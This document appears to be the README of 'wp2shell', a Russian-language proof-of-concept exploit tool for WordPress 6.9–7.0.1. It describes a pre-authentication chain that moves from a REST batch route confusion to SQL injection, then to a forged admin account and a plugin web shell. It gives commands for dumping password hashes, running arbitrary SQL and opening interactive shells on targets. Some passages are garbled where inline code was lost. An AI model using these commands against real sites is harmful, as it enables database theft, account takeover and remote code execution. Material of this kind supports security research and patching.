
Proof-of-concept цепочки RCE для CVE-2026-63030 и CVE-2026-60137
⚠ Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.
Доказательство концепции для цепочки уязвимостей wp2shell, затрагивающей ядро WordPress и объединяющей CVE-2026-63030 и CVE-2026-60137. Проект демонстрирует взаимодействие между путаницей маршрутов в REST API Batch и SQL-инъекцией в WP_Query, что приводит к неаутентифицированному пути к полному взлому WordPress и удалённому выполнению кода (RCE).
Читайте полный отчёт здесь
wp2shell — это цепочка RCE до аутентификации в ядре WordPress, объединяющая CVE-2026-63030 (путаница маршрутов в batch REST endpoint) и CVE-2026-60137 (SQL-инъекция в WP_Query).
Путаница маршрутов: /wp-json/batch/v1 обрабатывает несколько подзапросов через параллельные массивы $matches и $validation, индексируемые по позиции. Подзапрос с некорректным путём (например, http://) добавляется в $validation, но не в из-за оператора , что приводит к рассинхронизации массивов. Последующие запросы обрабатываются обработчиком, предназначенным для запроса, в обход проверки схемы и проверок прав доступа.
$matchescontinueSQL-инъекция: Два вложенных batch-вызова эксплуатируют это. Внешний batch обходит список разрешённых методов (обычно блокирующий GET). Внутренний batch передаёт скалярную строку author_exclude в GET /wp/v2/posts — рассинхронизация направляет её в обход валидации, а WP_Query интерполирует неэкранированную строку напрямую в SQL, что даёт UNION-based blind-инъекцию.
Отравление кэша: SQLi возвращает поддельные объекты WP_Post, которые WordPress кэширует в памяти. Эти фейковые записи содержат шорткоды [embed], заставляющие WordPress создавать реальные строки oembed_cache в базе данных на основе фейковых ссылок.
Эскалация через changeset: Используя SQLi, атакующий создаёт в памяти поддельный пост customize_changeset с "user_id": 1 в его JSON. Гаджет обнаружения циклов вызывает wp_update_post() без перезаписи post_content, сохраняя полезную нагрузку атакующего. Применение changeset временно присваивает личность администратора.
Повторный вход через хук: Созданный пост со статусом parse и типом request активирует хук parse_request, воспроизводя весь batch-запрос с предполагаемой ролью администратора. На этот раз подзапрос POST /wp/v2/users выполняется успешно, создавая новую учётную запись администратора.
Выполнение кода: Атакующий входит в систему как созданный администратор и загружает вредоносный плагин для выполнения произвольных команд.
| Версия | Статус |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Уязвима |
| WordPress 7.0.0 – 7.0.1 | Уязвима |
| WordPress 6.9.5 | Исправлена |
| WordPress 7.0.2+ | Исправлена |
Для использования этого PoC требуется только Python 3.8+.
Запустите его из каталога репозитория, чтобы выполнить проверку уязвимости:
wp2shell.py http://victim.com
Выполняет одиночную проверку уязвимости. Отправляет безвредный batch-маркерный зонд, который обнаруживает ошибку путаницы маршрутов без выполнения SQLi-нагрузок. Уязвимая цель возвращает HTTP 207 с шаблоном ошибок parse_path_failed, block_cannot_read и rest_batch_not_allowed.
Используйте --confirm-sqli, чтобы также отправить активную подтверждающую SQLi-нагрузку. Подтверждение сначала пробует UNION-отражение, затем переключается на тайминговые зонды.
Проверка одной цели (режим по умолчанию)
wp2shell.py http://target.com
Проверка с явным указанием режима
Check with explicit mode
wp2shell.py http://target.com --check
Проверка с подтверждением SQLi
wp2shell.py http://target.com --check --confirm-sqli
Извлекает данные из базы данных с помощью SQL-инъекции до аутентификации. По умолчанию используется --technique auto, который перебирает доступные методы в следующем порядке:
WP_Post через UNION и считывает её заголовок из REST-ответа как ||HEX(value)||. Один запрос на значение. Самый быстрый.EXTRACTVALUE/UPDATEXML для утечки ~15 байт за запрос. Работает, когда цель отражает ошибки MySQL (например, включён WP_DEBUG_DISPLAY).X-WP-Total как сигнал true/false. Работает даже когда данные не отражаются.Принудительно задать конкретную технику можно с помощью --technique union|error|blind. Эти пути чтения доступны только для чтения и не записывают данные в базу.
Снятие отпечатка сервера (запрос по умолчанию)
wp2shell.py http://target.com --read
Дамп логинов и хэшей паролей
wp2shell.py http://target.com --read --preset users
Пользовательский SQL-запрос
wp2shell.py http://target.com --read --query "SELECT @@version"
Принудительное использование blind-техники
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Извлечение с помощью error-based техники
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Выполняет команды на целевом сервере. Работает в двух режимах:
С учётными данными (входит как существующий администратор и загружает оболочку-плагин):
Выполнение конкретной команды
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Интерактивная оболочка
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
Выполнение одной команды
wp2shell.py http://target.com --shell --cmd id
Интерактивная оболочка
wp2shell.py http://target.com --shell --interactive
Плагин-оболочка загружается со случайным путём и одноразовым токеном. Загруженная оболочка удаляется автоматически. Когда мост до аутентификации создаёт администратора, эта сгенерированная учётная запись автоматически удаляется после завершения сеанса оболочки.
Список всех флагов:
| Flag | Description |
|---|---|
--check | Выполнить проверку уязвимости (режим по умолчанию, если не указан другой режим) |
--read | Извлечь данные через SQL-инъекцию |
--shell | Выполнять команды на сервере |
--query | Пользовательский SQL-запрос для режима чтения |
--preset | Предустановленный шаблон запроса (users, config, versions) |
--technique | Техника извлечения SQLi: union, error, blind или auto (по умолчанию) |
--confirm-sqli | Отправить подтверждающую SQLi-нагрузку после проверки |
--cmd | Команда для выполнения в режиме оболочки (по умолчанию: id) |
--interactive, -i | Интерактивный режим оболочки |
--user | Имя пользователя администратора для аутентифицированной оболочки |
--password | Пароль администратора для аутентифицированной оболочки |
--proxy | HTTP/HTTPS прокси (например, http://127.0.0.1:8080) |
--timeout | Тайм-аут запроса в секундах (по умолчанию: 30) |
--verbose, -v | Подробный вывод |
Этот инструмент создан исключительно в образовательных целях или для программ bug bounty. Несанкционированное использование вне контролируемых сред строго запрещено.